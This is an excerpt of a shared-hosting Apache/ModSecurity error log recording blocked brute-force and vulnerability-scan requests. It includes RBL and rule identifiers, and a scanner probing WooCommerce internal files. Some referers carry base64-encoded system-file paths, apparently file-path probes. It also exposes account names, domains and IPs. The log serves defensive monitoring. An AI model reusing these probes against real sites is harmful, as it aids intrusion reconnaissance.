247.23.250.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gycblinds.com"] [uri "/wp-login.php"] [unique_id "ai3yg9yTkdrNlD40tSGajAAAHQM"] [Sat Jun 13 18:14:59.643542 2026] [access_compat:error] [pid 646876:tid 646880] [remote 57.141.14.71:26132] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:59.643822 2026] [access_compat:error] [pid 646876:tid 646880] [remote 57.141.14.71:26132] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:59.671478 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.110:20162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:59.671754 2026] [access_compat:error] [pid 646876:tid 646914] [remote 57.141.14.110:20162] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:59.730881 2026] [security2:error] [pid 646876:tid 646916] [remote 17.241.227.17:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yg9yTkdrNlD40tSGapwAAfiU"] [Sat Jun 13 18:14:59.769506 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:14:59.769785 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:14:59.781887 2026] [security2:error] [pid 646876:tid 647026] [client 210.217.96.217:58654] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yg9yTkdrNlD40tSGatAAAABI"] [Sat Jun 13 18:14:59.782048 2026] [security2:error] [pid 646876:tid 647026] [client 210.217.96.217:58654] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3yg9yTkdrNlD40tSGatAAAABI"] [Sat Jun 13 18:15:00.020112 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.51:53824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:00.020575 2026] [access_compat:error] [pid 646876:tid 646958] [remote 57.141.14.51:53824] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:00.082682 2026] [security2:error] [pid 646876:tid 646979] [remote 17.241.219.141:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 141.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhNyTkdrNlD40tSGa1AAAVGQ"] [Sat Jun 13 18:15:00.342249 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:15:00.342681 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:15:00.345164 2026] [security2:error] [pid 646876:tid 646953] [remote 17.246.19.206:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 206.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhNyTkdrNlD40tSGa6gAAPEo"] [Sat Jun 13 18:15:00.411346 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-reports.php [Sat Jun 13 18:15:00.412483 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-products.php [Sat Jun 13 18:15:00.412875 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-reports.php [Sat Jun 13 18:15:00.413503 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-coupons.php [Sat Jun 13 18:15:00.414059 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-products.php [Sat Jun 13 18:15:00.414520 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/interface-wc-api-handler.php [Sat Jun 13 18:15:00.415058 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-coupons.php [Sat Jun 13 18:15:00.415516 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-json-handler.php [Sat Jun 13 18:15:00.416173 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/interface-wc-api-handler.php [Sat Jun 13 18:15:00.416573 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-authentication.php [Sat Jun 13 18:15:00.417189 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-webhooks.php [Sat Jun 13 18:15:00.417635 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-resource.php [Sat Jun 13 18:15:00.418243 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-exception.php [Sat Jun 13 18:15:00.418714 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-orders.php [Sat Jun 13 18:15:00.419328 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-json-handler.php [Sat Jun 13 18:15:00.419831 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-customers.php [Sat Jun 13 18:15:00.420301 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-authentication.php [Sat Jun 13 18:15:00.420860 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-server.php [Sat Jun 13 18:15:00.421199 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-resource.php [Sat Jun 13 18:15:00.421795 2026] [access_compat:error] [pid 646876:tid 646991] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v1/class-wc-api-xml-handler.php [Sat Jun 13 18:15:00.422089 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-orders.php [Sat Jun 13 18:15:00.423173 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-customers.php [Sat Jun 13 18:15:00.424260 2026] [access_compat:error] [pid 646876:tid 646956] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/api/v2/class-wc-api-server.php [Sat Jun 13 18:15:00.475343 2026] [access_compat:error] [pid 646876:tid 646993] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/importers/class-wc-tax-rate-importer.php [Sat Jun 13 18:15:00.500435 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-order-reviews.php [Sat Jun 13 18:15:00.502296 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-order-actions.php [Sat Jun 13 18:15:00.504128 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-images.php [Sat Jun 13 18:15:00.505770 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-order-notes.php [Sat Jun 13 18:15:00.507064 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-order-data.php [Sat Jun 13 18:15:00.508246 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-order-downloads.php [Sat Jun 13 18:15:00.509391 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-short-description.php [Sat Jun 13 18:15:00.510710 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-order-items.php [Sat Jun 13 18:15:00.554159 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php [Sat Jun 13 18:15:00.556737 2026] [access_compat:error] [pid 646876:tid 647004] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-data.php [Sat Jun 13 18:15:00.618794 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-taxes-by-date.php [Sat Jun 13 18:15:00.620804 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-admin-report.php [Sat Jun 13 18:15:00.622558 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-taxes-by-code.php [Sat Jun 13 18:15:00.624363 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-customer-list.php [Sat Jun 13 18:15:00.625961 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-low-in-stock.php [Sat Jun 13 18:15:00.627585 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-customers.php [Sat Jun 13 18:15:00.629459 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-out-of-stock.php [Sat Jun 13 18:15:00.631229 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-stock.php [Sat Jun 13 18:15:00.633433 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-sales-by-category.php [Sat Jun 13 18:15:00.633940 2026] [access_compat:error] [pid 646876:tid 646892] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/gateways/bacs/class-wc-gateway-bacs.php [Sat Jun 13 18:15:00.635277 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-sales-by-date.php [Sat Jun 13 18:15:00.636245 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-admin-page-reports.php [Sat Jun 13 18:15:00.636966 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-most-stocked.php [Sat Jun 13 18:15:00.637845 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-admin-page-status-logs.php [Sat Jun 13 18:15:00.638695 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-sales-by-product.php [Sat Jun 13 18:15:00.639472 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-admin-settings.php [Sat Jun 13 18:15:00.640366 2026] [access_compat:error] [pid 646876:tid 646977] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/reports/class-wc-report-coupon-usage.php [Sat Jun 13 18:15:00.641010 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-notice-update.php [Sat Jun 13 18:15:00.642625 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-quick-edit-product.php [Sat Jun 13 18:15:00.643476 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-page.php [Sat Jun 13 18:15:00.644178 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-email-template-preview.php [Sat Jun 13 18:15:00.644752 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-general.php [Sat Jun 13 18:15:00.645751 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-admin-page-status-report.php [Sat Jun 13 18:15:00.646053 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-emails.php [Sat Jun 13 18:15:00.647327 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-integrations.php [Sat Jun 13 18:15:00.647468 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-report-by-date.php [Sat Jun 13 18:15:00.648965 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-notice-install.php [Sat Jun 13 18:15:00.650438 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-notice-tracking.php [Sat Jun 13 18:15:00.651942 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-admin-page-status.php [Sat Jun 13 18:15:00.653336 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-notice-theme-support.php [Sat Jun 13 18:15:00.654367 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-notice-template-check.php [Sat Jun 13 18:15:00.655363 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-bulk-edit-product.php [Sat Jun 13 18:15:00.656375 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-admin-page-status-tools.php [Sat Jun 13 18:15:00.657413 2026] [access_compat:error] [pid 646876:tid 646900] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/views/html-admin-page-addons.php [Sat Jun 13 18:15:00.686219 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-tax.php [Sat Jun 13 18:15:00.689027 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-products.php [Sat Jun 13 18:15:00.691361 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-shipping.php [Sat Jun 13 18:15:00.693482 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-checkout.php [Sat Jun 13 18:15:00.695674 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-api.php [Sat Jun 13 18:15:00.697822 2026] [access_compat:error] [pid 646876:tid 646987] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/class-wc-settings-accounts.php [Sat Jun 13 18:15:00.700775 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.108:32419] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:00.701185 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.108:32419] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:00.715729 2026] [access_compat:error] [pid 646876:tid 647006] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/gateways/cheque/class-wc-gateway-cheque.php [Sat Jun 13 18:15:00.783954 2026] [access_compat:error] [pid 646876:tid 646996] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/gateways/cod/class-wc-gateway-cod.php [Sat Jun 13 18:15:00.818561 2026] [access_compat:error] [pid 646876:tid 646882] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/gateways/simplify-commerce-deprecated/class-wc-addons-gateway-simplify-commerce-deprecated.php [Sat Jun 13 18:15:00.826284 2026] [access_compat:error] [pid 646876:tid 646883] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/gateways/paypal/class-wc-gateway-paypal.php [Sat Jun 13 18:15:00.854350 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:00.854638 2026] [access_compat:error] [pid 646876:tid 646902] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: 